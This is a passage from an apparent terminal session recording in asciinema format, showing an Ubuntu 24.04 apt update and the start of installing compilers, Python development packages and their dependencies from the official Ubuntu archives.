[44.916635, "o", "\r                                                         \rGet:2 http://archive.ubuntu.com/ubuntu noble InRelease [256 kB]\r\n\u001b[33m\r0% [2 InRelease 14.2 kB/256 kB 6%] [1 InRelease 14.2 kB/126 kB 11%]\u001b[0m"]
[45.363486, "o", "\u001b[33m\r                                                                   \r0% [2 InRelease 69.2 kB/256 kB 27%]\u001b[0m"]
[45.538723, "o", "\u001b[33m\r                                   \r0% [2 InRelease 147 kB/256 kB 58%]\u001b[0m"]
[45.67998, "o", "\r                                  \rGet:3 http://security.ubuntu.com/ubuntu noble-security/main amd64 Packages [1985 kB]\r\n\u001b[33m\r0% [2 InRelease 233 kB/256 kB 91%] [3 Packages 9895 B/1985 kB 0%]\u001b[0m"]
[45.692976, "o", "\u001b[33m\r                                                                 \r0% [3 Packages 44.6 kB/1985 kB 2%]\u001b[0m"]
[45.838682, "o", "\r                                  \rGet:4 http://archive.ubuntu.com/ubuntu noble-updates InRelease [126 kB]\r\n"]
[45.840281, "o", "\u001b[33m\r0% [4 InRelease 2588 B/126 kB 2%] [3 Packages 178 kB/1985 kB 9%]\u001b[0m"]
[45.907341, "o", "\u001b[33m\r                                                                \r0% [Waiting for headers] [3 Packages 284 kB/1985 kB 14%]\u001b[0m"]
[45.913262, "o", "\u001b[33m\r0% [Waiting for headers] [3 Packages 284 kB/1985 kB 14%]\u001b[0m"]
[46.062301, "o", "\r                                                        \r"]
[46.062759, "o", "Get:5 http://archive.ubuntu.com/ubuntu noble-backports InRelease [126 kB]\r\n\u001b[33m\r0% [5 InRelease 20.0 kB/126 kB 16%] [3 Packages 676 kB/1985 kB 34%]\u001b[0m"]
[46.13504, "o", "\u001b[33m\r0% [5 InRelease 126 kB/126 kB 100%] [3 Packages 1044 kB/1985 kB 53%]\u001b[0m"]
[46.139164, "o", "\u001b[33m\r                                                                    \r0% [3 Packages 1058 kB/1985 kB 53%]\u001b[0m"]
[46.280153, "o", "\u001b[33m\r                                   \r0% [Waiting for headers]\u001b[0m"]
[46.287939, "o", "\u001b[33m\r0% [3 Packages store 0 B] [Waiting for headers] [Waiting for headers]\u001b[0m"]
[46.292215, "o", "\r                                                                     \rGet:6 http://archive.ubuntu.com/ubuntu noble/main amd64 Packages [1808 kB]\r\n\u001b[33m\r0% [3 Packages store 0 B] [6 Packages 0 B/1808 kB 0%] [Waiting for headers]\u001b[0m"]
[46.341829, "o", "\u001b[33m\r17% [3 Packages store 0 B] [6 Packages 116 kB/1808 kB 6%] [Waiting for headers]\u001b[0m"]
[46.411376, "o", "\u001b[33m\r                                                                               \r18% [6 Packages 240 kB/1808 kB 13%] [Waiting for headers]\u001b[0m"]
[46.451041, "o", "\r                                                         \rGet:7 http://security.ubuntu.com/ubuntu noble-security/universe amd64 Packages [1504 kB]\r\n\u001b[33m\r18% [6 Packages 305 kB/1808 kB 17%] [7 Packages 5551 B/1504 kB 0%]\u001b[0m"]
[46.55832, "o", "\r                                                                  \rGet:8 http://security.ubuntu.com/ubuntu noble-security/restricted amd64 Packages [3499 kB]\r\n\u001b[33m\r22% [6 Packages 482 kB/1808 kB 27%] [8 Packages 64.7 kB/3499 kB 2%]\u001b[0m"]
[46.571254, "o", "\u001b[33m\r23% [7 Packages store 0 B] [6 Packages 482 kB/1808 kB 27%] [8 Packages 319 kB/3499 kB 9%]\u001b[0m"]
[46.649728, "o", "\u001b[33m\r                                                                                         \r25% [6 Packages 850 kB/1808 kB 47%] [8 Packages 958 kB/3499 kB 27%]\u001b[0m"]
[46.865741, "o", "\r                                                                   \rGet:9 http://archive.ubuntu.com/ubuntu noble/restricted amd64 Packages [117 kB]\r\n\u001b[33m\r31% [9 Packages 19.9 kB/117 kB 17%] [8 Packages 2804 kB/3499 kB 80%]\u001b[0m"]
[46.872423, "o", "\u001b[33m\r32% [6 Packages store 0 B] [9 Packages 19.9 kB/117 kB 17%] [8 Packages 2871 kB/3499 kB 82%]\u001b[0m"]
[46.9021, "o", "\u001b[33m\r                                                                                           \r33% [6 Packages store 0 B] [9 Packages 19.9 kB/117 kB 17%]\u001b[0m\r                                                          \r"]
[46.90679, "o", "Get:10 http://security.ubuntu.com/ubuntu noble-security/multiverse amd64 Packages [34.8 kB]\r\n\u001b[33m\r33% [6 Packages store 0 B] [9 Packages 19.9 kB/117 kB 17%] [10 Packages 34.8 kB/34.8 kB 100%]\u001b[0m\u001b[33m\r                                                                                             \r"]
[46.913206, "o", "33% [6 Packages store 0 B] [9 Packages 19.9 kB/117 kB 17%]\u001b[0m"]
[46.920929, "o", "\u001b[33m\r                                                          \r33% [6 Packages store 0 B] [Waiting for headers]\u001b[0m\r                                                \rGet:11 http://archive.ubuntu.com/ubuntu noble/universe amd64 Packages [19.3 MB]\r\n\u001b[33m\r33% [6 Packages store 0 B] [11 Packages 54.7 kB/19.3 MB 0%]\u001b[0m"]
[46.977025, "o", "\u001b[33m\r                                                           \r35% [11 Packages 802 kB/19.3 MB 4%]\u001b[0m"]
[46.978206, "o", "\u001b[33m\r35% [8 Packages store 0 B] [11 Packages 802 kB/19.3 MB 4%]\u001b[0m"]
[47.157297, "o", "\u001b[33m\r                                                          \r40% [11 Packages 2560 kB/19.3 MB 13%]\u001b[0m\u001b[33m\r40% [10 Packages store 0 B] [11 Packages 2560 kB/19.3 MB 13%]\u001b[0m"]
[47.160634, "o", "\u001b[33m\r                                                             \r41% [11 Packages 2656 kB/19.3 MB 14%]\u001b[0m\u001b[33m\r41% [9 Packages store 0 B] [11 Packages 2656 kB/19.3 MB 14%]\u001b[0m"]
[47.172939, "o", "\u001b[33m\r                                                            \r41% [11 Packages 2656 kB/19.3 MB 14%]\u001b[0m"]
[47.672789, "o", "\u001b[33m\r59% [11 Packages 11.3 MB/19.3 MB 58%]\u001b[0m"]
[48.173841, "o", "\r                                     \rGet:12 http://archive.ubuntu.com/ubuntu noble/multiverse amd64 Packages [331 kB]\r\n\u001b[33m\r                                     \r77% [12 Packages 0 B/331 kB 0%]\u001b[0m"]
[48.177894, "o", "\u001b[33m\r77% [11 Packages store 0 B] [12 Packages 0 B/331 kB 0%]"]
[48.180448, "o", "\u001b[0m"]
[48.195764, "o", "\u001b[33m\r                                                       \r"]
[48.197211, "o", "77% [11 Packages store 0 B] [Waiting for headers]\u001b[0m"]
[48.19939, "o", "\r                                                 \rGet:13 http://archive.ubuntu.com/ubuntu noble-updates/multiverse amd64 Packages [38.1 kB]\r\n\r                                                 \rGet:14 http://archive.ubuntu.com/ubuntu noble-updates/restricted amd64 Packages [3669 kB]\r\n\u001b[33m\r78% [11 Packages store 0 B] [14 Packages 243 kB/3669 kB 7%]\u001b[0m"]
[48.420864, "o", "\u001b[33m\r                                                           \r"]
[48.421869, "o", "85% [11 Packages store 0 B] [Waiting for headers]\u001b[0m\r                                                 \rGet:15 http://archive.ubuntu.com/ubuntu noble-updates/universe amd64 Packages [2152 kB]\r\n\u001b[33m\r86% [11 Packages store 0 B] [15 Packages 493 kB/2152 kB 23%]\u001b[0m"]
[48.65756, "o", "\r                                                            \rGet:16 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 Packages [2369 kB]\r\n\u001b[33m\r90% [11 Packages store 0 B] [16 Packages 64.4 kB/2369 kB 3%]\u001b[0m"]
[48.746178, "o", "\u001b[33m\r                                                            \r95% [11 Packages store 0 B]\u001b[0m\r                           \rGet:17 http://archive.ubuntu.com/ubuntu noble-backports/multiverse amd64 Packages [695 B]\r\n\u001b[33m\r95% [11 Packages store 0 B] [17 Packages 0 B/695 B 0%]\u001b[0m"]
[48.746826, "o", "\u001b[33m\r                                                      \r95% [11 Packages store 0 B]\u001b[0m\r                           \rGet:18 http://archive.ubuntu.com/ubuntu noble-backports/main amd64 Packages [49.5 kB]\r\n\u001b[33m\r95% [11 Packages store 0 B] [18 Packages 0 B/49.5 kB 0%]\u001b[0m"]
[48.752868, "o", "\u001b[33m\r                                                        \r95% [11 Packages store 0 B]\u001b[0m"]
[48.756382, "o", "\r                           \rGet:19 http://archive.ubuntu.com/ubuntu noble-backports/universe amd64 Packages [36.1 kB]\r\n\u001b[33m\r95% [11 Packages store 0 B] [19 Packages 0 B/36.1 kB 0%]\u001b[0m\u001b[33m\r                                                        \r95% [11 Packages store 0 B]\u001b[0m"]
[49.036556, "o", "\u001b[33m\r                           \r96% [Working]\u001b[0m"]
[49.042105, "o", "\u001b[33m\r96% [12 Packages store 0 B]\u001b[0m"]
[49.058647, "o", "\u001b[33m\r                           \r96% [Working]\u001b[0m"]
[49.060529, "o", "\u001b[33m\r96% [13 Packages store 0 B]\u001b[0m"]
[49.06469, "o", "\u001b[33m\r                           \r97% [Working]\u001b[0m"]
[49.06519, "o", "\u001b[33m\r97% [14 Packages store 0 B]\u001b[0m"]
[49.218472, "o", "\u001b[33m\r                           \r97% [Working]\u001b[0m\u001b[33m\r97% [15 Packages store 0 B]"]
[49.219712, "o", "\u001b[0m"]
[49.324402, "o", "\u001b[33m\r                           \r98% [Working]\u001b[0m\u001b[33m\r98% [16 Packages store 0 B]\u001b[0m"]
[49.437262, "o", "\u001b[33m\r                           \r98% [Working]\u001b[0m\u001b[33m\r98% [17 Packages store 0 B]\u001b[0m"]
[49.44304, "o", "\u001b[33m\r                           \r99% [Working]\u001b[0m\u001b[33m\r99% [18 Packages store 0 B]\u001b[0m"]
[49.450428, "o", "\u001b[33m\r                           \r"]
[49.451209, "o", "99% [Working]\u001b[0m"]
[49.454127, "o", "\u001b[33m\r99% [19 Packages store 0 B]\u001b[0m"]
[49.458632, "o", "\u001b[33m\r                           \r100% [Working]"]
[49.461259, "o", "\u001b[0m\r              \rFetched 37.5 MB in 5s (7623 kB/s)\r\n"]
[49.494076, "o", "\rReading package lists... 0%\r"]
[49.575639, "o", "\rReading package lists... 0%\r"]
[49.594738, "o", "\rReading package lists... 0%\r"]
[49.681178, "o", "\rReading package lists... 4%\r\rReading package lists... 4%\r"]
[50.87159, "o", "\rReading package lists... 45%\r\rReading package lists... 52%\r\rReading package lists... 52%\r\rReading package lists... 52%\r\rReading package lists... 52%\r\rReading package lists... 53%\r\rReading package lists... 53%\r\rReading package lists... 60%\r\rReading package lists... 60%\r\rReading package lists... 66%\r\rReading package lists... 66%\r\rReading package lists... 78%\r\rReading package lists... 78%\r\rReading package lists... 78%\r\rReading package lists... 78%\r\rReading package lists... 78%\r\rReading package lists... 78%\r\rReading package lists... 78%\r\rReading package lists... 78%\r\rReading package lists... 78%\r\rReading package lists... 78%\r\rReading package lists... 84%\r\rReading package lists... 84%\r\rReading package lists... 89%\r\rReading package lists... 89%\r\rReading package lists... 99%\r\rReading package lists... 99%\r\rReading package lists... 99%\r\rReading package lists... 99%\r\rReading package lists... Done\r\r\n"]
[50.895423, "o", "\rBuilding dependency tree... 0%\r\rBuilding dependency tree... 0%\r"]
[50.896818, "o", "\rBuilding dependency tree... 0%\r"]
[50.946785, "o", "\rBuilding dependency tree... 50%\r\rBuilding dependency tree... 50%\r"]
[51.180312, "o", "\rBuilding dependency tree... Done\r\r\n\rReading state information... 0% \r\rReading state information... 98%\r\rReading state information... Done\r\r\n"]
[51.203101, "o", "10 packages can be upgraded. Run 'apt list --upgradable' to see them.\r\n"]
[51.242012, "o", "\rReading package lists... 0%\r"]
[51.344191, "o", "\rReading package lists... 0%\r"]
[51.36347, "o", "\rReading package lists... 0%\r"]
[51.45381, "o", "\rReading package lists... 4%\r\rReading package lists... 4%\r"]
[52.066276, "o", "\rReading package lists... 42%\r"]
[52.226956, "o", "\rReading package lists... 52%\r"]
[52.228156, "o", "\rReading package lists... 52%\r"]
[52.234235, "o", "\rReading package lists... 52%\r\rReading package lists... 52%\r"]
[52.260475, "o", "\rReading package lists... 53%\r"]
[52.261704, "o", "\rReading package lists... 53%\r"]
[52.37307, "o", "\rReading package lists... 60%\r\rReading package lists... 60%\r"]
[52.471048, "o", "\rReading package lists... 66%\r\rReading package lists... 66%\r"]
[52.597643, "o", "\rReading package lists... 78%\r\rReading package lists... 78%\r"]
[52.600184, "o", "\rReading package lists... 78%\r\rReading package lists... 78%\r"]
[52.604798, "o", "\rReading package lists... 78%\r\rReading package lists... 78%\r"]
[52.607346, "o", "\rReading package lists... 78%\r\rReading package lists... 78%\r"]
[52.614696, "o", "\rReading package lists... 78%\r\rReading package lists... 78%\r"]
[52.650797, "o", "\rReading package lists... 84%\r\rReading package lists... 84%\r"]
[52.689358, "o", "\rReading package lists... 89%\r\rReading package lists... 89%\r"]
[52.742885, "o", "\rReading package lists... 99%\r"]
[52.745224, "o", "\rReading package lists... 99%\r\rReading package lists... 99%\r\rReading package lists... 99%\r"]
[52.763423, "o", "\rReading package lists... Done\r\r\n"]
[52.792419, "o", "\rBuilding dependency tree... 0%\r\rBuilding dependency tree... 0%\r\rBuilding dependency tree... 0%\r"]
[52.846465, "o", "\rBuilding dependency tree... 50%\r"]
[52.849206, "o", "\rBuilding dependency tree... 50%\r"]
[53.123876, "o", "\rBuilding dependency tree... Done\r\r\n\rReading state information... 0% \r\rReading state information... 98%\r\rReading state information... Done\r\r\n"]
[53.540835, "o", "The following additional packages will be installed:"]
[53.544546, "o", "\r\n  adduser binutils binutils-common binutils-x86-64-linux-gnu build-essential bzip2 ca-certificates cpp cpp-13 cpp-13-x86-64-linux-gnu cpp-x86-64-linux-gnu dirmngr dpkg-dev fakeroot fontconfig-config\r\n"]
[53.54517, "o", "  fonts-dejavu-core fonts-dejavu-mono g++ g++-13 g++-13-x86-64-linux-gnu g++-x86-64-linux-gnu gcc gcc-13 gcc-13-base gcc-13-x86-64-linux-gnu gcc-x86-64-linux-gnu gnupg gnupg-l10n gnupg-utils gpg gpg-agent\r\n  gpg-wks-client gpgconf gpgsm javascript-common keyboxd libalgorithm-diff-perl libalgorithm-diff-xs-perl libalgorithm-merge-perl libaom3 libasan8 libatomic1 libbinutils libbrotli1 libbsd0 libc-dev-bin\r\n  libc-devtools libc6-dev libcc1-0 libcrypt-dev libctf-nobfd0 libctf0 libde265-0 libdeflate0 libdpkg-perl libexpat1 libexpat1-dev libfakeroot libfile-fcntllock-perl libfontconfig1 libfreetype6 libgcc-13-dev\r\n  libgd3 libgdbm-compat4t64 libgdbm6t64 libgomp1 libgprofng0 libheif-plugin-aomdec libheif-plugin-aomenc libheif-plugin-libde265 libheif1 libhwasan0 libisl23 libitm1 libjansson4 libjbig0 libjpeg-turbo8\r\n  libjpeg8 libjs-jquery libjs-sphinxdoc libjs-underscore libksba8 libldap-common libldap2 liblerc4 liblocale-gettext-perl liblsan0 libmpc3 libmpfr6 libperl5.38t64 libpng16-16t64 libpython3-dev\r\n  libpython3-stdlib libpython3.12-dev libpython3.12-minimal libpython3.12-stdlib libpython3.12t64 libquadmath0 libreadline8t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libsframe1 libsharpyuv0\r\n  libsqlite3-0 libstdc++-13-dev libtiff6 libtsan2 libubsan1 libwebp7 libx11-6 libx11-data libxau6 libxcb1 libxdmcp6 libxpm4 linux-libc-dev lto-disabled-list make manpages manpages-dev media-types netbase\r\n  openssl patch perl perl-modules-5.38 pinentry-curses python3-dev python3-minimal python3-pkg-resources python3-setuptools python3-wheel python3.12 python3.12-dev python3.12-minimal readline-common\r\n  rpcsvc-proto tzdata xz-utils zlib1g-dev\r\n"]
[53.550245, "o", "Suggested packages:\r\n  cron quota ecryptfs-utils binutils-doc gprofng-gui bzip2-doc cpp-doc gcc-13-locales cpp-13-doc dbus-user-session libpam-systemd pinentry-gnome3 tor debian-keyring g++-multilib g++-13-multilib gcc-13-doc\r\n  gcc-multilib autoconf automake libtool flex bison gdb gcc-doc gcc-13-multilib gdb-x86-64-linux-gnu parcimonie xloadimage gpg-wks-server scdaemon apache2 | lighttpd | httpd glibc-doc git bzr libgd-tools\r\n  gdbm-l10n libheif-plugin-x265 libheif-plugin-ffmpegdec libheif-plugin-jpegdec libheif-plugin-jpegenc libheif-plugin-j2kdec libheif-plugin-j2kenc libheif-plugin-rav1e libheif-plugin-svtenc\r\n  libsasl2-modules-gssapi-mit | libsasl2-modules-gssapi-heimdal libsasl2-modules-ldap libsasl2-modules-otp libsasl2-modules-sql libstdc++-13-doc make-doc man-browser ed diffutils-doc perl-doc\r\n  libterm-readline-gnu-perl | libterm-readline-perl-perl libtap-harness-archive-perl pinentry-doc python3-doc python3-tk python3-venv python-setuptools-doc python3.12-venv python3.12-doc binfmt-support\r\n  readline-doc\r\n"]
[53.950454, "o", "The following NEW packages will be installed:\r\n  adduser binutils binutils-common binutils-x86-64-linux-gnu build-essential bzip2 ca-certificates cpp cpp-13 cpp-13-x86-64-linux-gnu cpp-x86-64-linux-gnu dirmngr dpkg-dev fakeroot fontconfig-config\r\n  fonts-dejavu-core fonts-dejavu-mono g++ g++-13 g++-13-x86-64-linux-gnu g++-x86-64-linux-gnu gcc gcc-13 gcc-13-base gcc-13-x86-64-linux-gnu gcc-x86-64-linux-gnu gnupg gnupg-l10n gnupg-utils gpg gpg-agent\r\n"]
[53.955627, "o", "  gpg-wks-client gpgconf gpgsm javascript-common keyboxd libalgorithm-diff-perl libalgorithm-diff-xs-perl libalgorithm-merge-perl libaom3 libasan8 libatomic1 libbinutils libbrotli1 libbsd0 libc-dev-bin\r\n  libc-devtools libc6-dev libcc1-0 libcrypt-dev libctf-nobfd0 libctf0 libde265-0 libdeflate0 libdpkg-perl libexpat1 libexpat1-dev libfakeroot libfile-fcntllock-perl libfontconfig1 libfreetype6 libgcc-13-dev\r\n  libgd3 libgdbm-compat4t64 libgdbm6t64 libgomp1 libgprofng0 libheif-plugin-aomdec libheif-plugin-aomenc libheif-plugin-libde265 libheif1 libhwasan0 libisl23 libitm1 libjansson4 libjbig0 libjpeg-turbo8\r\n"]
[53.955822, "o", "  libjpeg8 libjs-jquery libjs-sphinxdoc libjs-underscore libksba8 libldap-common libldap2 liblerc4 liblocale-gettext-perl liblsan0 libmpc3 libmpfr6 libperl5.38t64 libpng16-16t64 libpython3-dev\r\n  libpython3-stdlib libpython3.12-dev libpython3.12-minimal libpython3.12-stdlib libpython3.12t64 libquadmath0 libreadline8t64 libsasl2-2 libsasl2-modules libsasl2-modules-db libsframe1 libsharpyuv0\r\n  libsqlite3-0 libstdc++-13-dev libtiff6 libtsan2 libubsan1 libwebp7 libx11-6 libx11-data libxau6 libxcb1 libxdmcp6 libxpm4 linux-libc-dev lto-disabled-list make manpages manpages-dev media-types netbase\r\n  openssl patch perl perl-modules-5.38 pinentry-curses python3 python3-dev python3-minimal python3-pip python3-pkg-resources python3-setuptools python3-wheel python3.12 python3.12-dev python3.12-minimal\r\n  readline-common rpcsvc-proto tzdata xz-utils zlib1g-dev\r\n"]
[53.976669, "o", "0 upgraded, 143 newly installed, 0 to remove and 10 not upgraded.\r\n"]
[53.986208, "o", "Need to get 114 MB of archives.\r\nAfter this operation, 419 MB of additional disk space will be used.\r\n"]
[54.013759, "o", "\u001b[33m\r0% [Working]\u001b[0m"]
[54.322792, "o", "\r            \rGet:1 http://archive.ubuntu.com/ubuntu noble/main amd64 liblocale-gettext-perl amd64 1.07-6ubuntu5 [15.8 kB]\r\n\u001b[33m\r0% [1 liblocale-gettext-perl 14.2 kB/15.8 kB 90%]"]
[54.324607, "o", "\u001b[0m"]
[54.46446, "o", "\u001b[33m\r                                                 \r0% [Working]\u001b[0m"]
[54.620424, "o", "\r            \rGet:2 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12-minimal amd64 3.12.3-1ubuntu0.12 [837 kB]\r\n\u001b[33m\r0% [2 libpython3.12-minimal 0 B/837 kB 0%]\u001b[0m"]
[55.118033, "o", "\u001b[33m\r0% [2 libpython3.12-minimal 242 kB/837 kB 29%]\u001b[0m"]
[55.408768, "o", "\r                                              \rGet:3 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libexpat1 amd64 2.6.1-2ubuntu0.4 [88.2 kB]"]
[55.415269, "o", "\r\n\u001b[33m\r                                              \r1% [3 libexpat1 62.1 kB/88.2 kB 70%]"]
[55.418815, "o", "\u001b[0m"]
[55.42056, "o", "\r                                    \rGet:4 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3.12-minimal amd64 3.12.3-1ubuntu0.12 [2334 kB]\r\n\u001b[33m\r1% [4 python3.12-minimal 2884 B/2334 kB 0%]"]
[55.421131, "o", "\u001b[0m"]
[55.747173, "o", "\r                                           \rGet:5 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-minimal amd64 3.12.3-0ubuntu2.1 [27.4 kB]\r\n\r                                           \rGet:6 http://archive.ubuntu.com/ubuntu noble/main amd64 media-types all 10.1.0 [27.5 kB]\r\n\r                                           \rGet:7 http://archive.ubuntu.com/ubuntu noble/main amd64 netbase all 6.4 [13.1 kB]\r\n\r                                           \rGet:8 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 tzdata all 2026a-0ubuntu0.24.04.1 [280 kB]\r\n\u001b[33m\r                                           \r3% [8 tzdata 96.4 kB/280 kB 34%]\u001b[0m"]
[55.750686, "o", "\u001b[33m\r                                \r4% [Working]\u001b[0m"]
[55.754812, "o", "\r            \rGet:9 http://archive.ubuntu.com/ubuntu noble/main amd64 readline-common all 8.2-4build1 [56.5 kB]\r\n\r            \rGet:10 http://archive.ubuntu.com/ubuntu noble/main amd64 libreadline8t64 amd64 8.2-4build1 [153 kB]\r\n\u001b[33m\r4% [10 libreadline8t64 127 kB/153 kB 83%]\u001b[0m"]
[55.760619, "o", "\r                                         \rGet:11 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsqlite3-0 amd64 3.45.1-1ubuntu2.5 [701 kB]\r\n\u001b[33m\r                                         \r4% [11 libsqlite3-0 61.5 kB/701 kB 9%]\u001b[0m"]
[55.815148, "o", "\u001b[33m\r                                      \r5% [Working]\u001b[0m\r            \rGet:12 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12-stdlib amd64 3.12.3-1ubuntu0.12 [2069 kB]\r\n\u001b[33m\r5% [12 libpython3.12-stdlib 117 kB/2069 kB 6%]\u001b[0m"]
[55.965986, "o", "\r                                              \rGet:13 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3.12 amd64 3.12.3-1ubuntu0.12 [651 kB]\r\n\u001b[33m\r                                              \r6% [13 python3.12 143 kB/651 kB 22%]\u001b[0m"]
[55.989561, "o", "\r                                    \rGet:14 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3-stdlib amd64 3.12.3-0ubuntu2.1 [10.1 kB]\r\n\u001b[33m\r7% [14 libpython3-stdlib 10.1 kB/10.1 kB 100%]\u001b[0m\r                                              \rGet:15 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3 amd64 3.12.3-0ubuntu2.1 [23.0 kB]\r\n\r                                              \rGet:16 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 perl-modules-5.38 all 5.38.2-3.2ubuntu0.2 [3110 kB]\r\n\u001b[33m\r                                              \r7% [16 perl-modules-5.38 378 kB/3110 kB 12%]\u001b[0m"]
[56.185702, "o", "\r                                            \rGet:17 http://archive.ubuntu.com/ubuntu noble/main amd64 libgdbm6t64 amd64 1.23-5.1build1 [34.4 kB]\r\n\r                                            \rGet:18 http://archive.ubuntu.com/ubuntu noble/main amd64 libgdbm-compat4t64 amd64 1.23-5.1build1 [6710 B]\r\n\r                                            \rGet:19 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libperl5.38t64 amd64 5.38.2-3.2ubuntu0.2 [4874 kB]\r\n\u001b[33m\r                                            \r10% [19 libperl5.38t64 196 kB/4874 kB 4%]\u001b[0m"]
[56.664313, "o", "\r                                         \rGet:20 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 perl amd64 5.38.2-3.2ubuntu0.2 [231 kB]\r\n\u001b[33m\r                                         \r14% [20 perl 180 kB/231 kB 78%]\u001b[0m"]
[56.671403, "o", "\r                               \rGet:21 http://archive.ubuntu.com/ubuntu noble/main amd64 adduser all 3.137ubuntu1 [101 kB]\r\n\r                               \rGet:22 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 openssl amd64 3.0.13-0ubuntu3.7 [1003 kB]\r\n\u001b[33m\r14% [22 openssl 174 kB/1003 kB 17%]\u001b[0m"]
[56.68449, "o", "\r                                   \rGet:23 http://archive.ubuntu.com/ubuntu noble/main amd64 ca-certificates all 20240203 [159 kB]\r\n\u001b[33m\r15% [23 ca-certificates 125 kB/159 kB 78%]\u001b[0m"]
[56.691008, "o", "\r                                          \rGet:24 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libbsd0 amd64 0.12.1-1build1.1 [41.2 kB]\r\n\u001b[33m\r                                          \r15% [24 libbsd0 41.2 kB/41.2 kB 100%]\u001b[0m"]
[56.696104, "o", "\r                                     \rGet:25 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-pkg-resources all 68.1.2-2ubuntu1.2 [168 kB]\r\n\u001b[33m\r15% [25 python3-pkg-resources 168 kB/168 kB 100%]\u001b[0m\r                                                 \rGet:26 http://archive.ubuntu.com/ubuntu noble/main amd64 libjansson4 amd64 2.14-2build2 [32.8 kB]\r\n\r                                                 \rGet:27 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpng16-16t64 amd64 1.6.43-5ubuntu0.5 [188 kB]\r\n\u001b[33m\r                                                 \r16% [27 libpng16-16t64 188 kB/188 kB 100%]\u001b[0m"]
[56.697673, "o", "\u001b[33m\r                                          \r16% [Waiting for headers]\u001b[0m\r                         \rGet:28 http://archive.ubuntu.com/ubuntu noble/main amd64 libxau6 amd64 1:1.0.9-1build6 [7160 B]\r\n\u001b[33m\r16% [Waiting for headers]\u001b[0m"]
[56.816127, "o", "\r                         \rGet:29 http://archive.ubuntu.com/ubuntu noble/main amd64 libxdmcp6 amd64 1:1.1.3-0ubuntu6 [10.3 kB]\r\n\u001b[33m\r16% [Waiting for headers]\u001b[0m"]
[56.960621, "o", "\r                         \rGet:30 http://archive.ubuntu.com/ubuntu noble/main amd64 libxcb1 amd64 1.15-1ubuntu2 [47.7 kB]\r\n\u001b[33m\r16% [30 libxcb1 11.3 kB/47.7 kB 24%]\u001b[0m"]
[56.962502, "o", "\r                                    \rGet:31 http://archive.ubuntu.com/ubuntu noble/main amd64 libx11-data all 2:1.8.7-1build1 [115 kB]\r\n\u001b[33m\r16% [31 libx11-data 27.2 kB/115 kB 24%]\u001b[0m"]
[56.977743, "o", "\u001b[33m\r                                       \r17% [Working]\u001b[0m\r             \rGet:32 http://archive.ubuntu.com/ubuntu noble/main amd64 libx11-6 amd64 2:1.8.7-1build1 [650 kB]\r\n\u001b[33m\r17% [32 libx11-6 60.6 kB/650 kB 9%]\u001b[0m"]
[57.021152, "o", "\u001b[33m\r                                   \r"]
[57.022854, "o", "17% [Working]\u001b[0m\r             \rGet:33 http://archive.ubuntu.com/ubuntu noble/main amd64 manpages all 6.7-2 [1384 kB]\r\n\u001b[33m\r17% [33 manpages 118 kB/1384 kB 8%]\u001b[0m"]
[57.120685, "o", "\r                                   \rGet:34 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 xz-utils amd64 5.6.1+really5.4.5-1ubuntu0.2 [267 kB]\r\n\u001b[33m\r18% [34 xz-utils 69.3 kB/267 kB 26%]\u001b[0m"]
[57.125701, "o", "\r                                    \rGet:35 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils-common amd64 2.42-4ubuntu2.10 [240 kB]\r\n\u001b[33m\r19% [35 binutils-common 45.6 kB/240 kB 19%]\u001b[0m"]
[57.138686, "o", "\r                                           \rGet:36 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsframe1 amd64 2.42-4ubuntu2.10 [15.7 kB]\r\n\u001b[33m\r                                           \r19% [36 libsframe1 15.7 kB/15.7 kB 100%]\u001b[0m\r                                        \rGet:37 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libbinutils amd64 2.42-4ubuntu2.10 [577 kB]"]
[57.138961, "o", "\r\n\u001b[33m\r                                        \r19% [37 libbinutils 5544 B/577 kB 1%]\u001b[0m"]
[57.287817, "o", "\u001b[33m\r                                     \r20% [Working]\u001b[0m"]
[57.290653, "o", "\r             \rGet:38 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libctf-nobfd0 amd64 2.42-4ubuntu2.10 [98.0 kB]\r\n\u001b[33m\r20% [38 libctf-nobfd0 17.7 kB/98.0 kB 18%]\u001b[0m"]
[57.297237, "o", "\u001b[33m\r                                          \r20% [Working]\u001b[0m\r             \rGet:39 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libctf0 amd64 2.42-4ubuntu2.10 [94.5 kB]\r\n\u001b[33m\r20% [39 libctf0 50.4 kB/94.5 kB 53%]\u001b[0m"]
[57.29875, "o", "\u001b[33m\r                                    \r20% [Waiting for headers]\u001b[0m"]
[57.309669, "o", "\r                         \rGet:40 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libgprofng0 amd64 2.42-4ubuntu2.10 [849 kB]\r\n\u001b[33m\r20% [40 libgprofng0 35.9 kB/849 kB 4%]\u001b[0m"]
[57.470714, "o", "\r                                      \rGet:41 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 binutils-x86-64-linux-gnu amd64 2.42-4ubuntu2.10 [2463 kB]\r\n\u001b[33m\r21% [41 binutils-x86-64-linux-gnu 33.7 kB/2463 kB 1%]\u001b[0m"]
